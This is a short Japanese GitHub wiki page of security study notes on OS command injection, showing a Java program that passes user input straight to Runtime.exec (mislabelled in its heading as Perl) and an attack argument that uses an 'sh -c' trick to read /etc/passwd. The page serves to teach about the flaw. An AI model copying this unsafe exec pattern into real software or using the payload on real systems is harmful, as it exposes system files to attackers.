OSコマンドインジェクション___ 06 - yujitounai/helloworld GitHub Wiki

OSコマンドインジェクション

javaのコマンド実行 サーバーの待ち受けを何とかする必要がある

## 脆弱なソースコード(Perl)

import java.io.*;
public class Exec {
  public static void main(String[] args) throws IOException {
    Process p = Runtime.getRuntime().exec(args[0]);
    byte[] b = new byte[1];
    while (p.getErrorStream().read(b) > 0)
      System.out.write(b);
    while (p.getInputStream().read(b) > 0)
    System.out.write(b);
  }
}

攻撃例 

java Exec 'sh -c $@|sh . echo cat /etc/passwd | grep root > /tmp/hoge'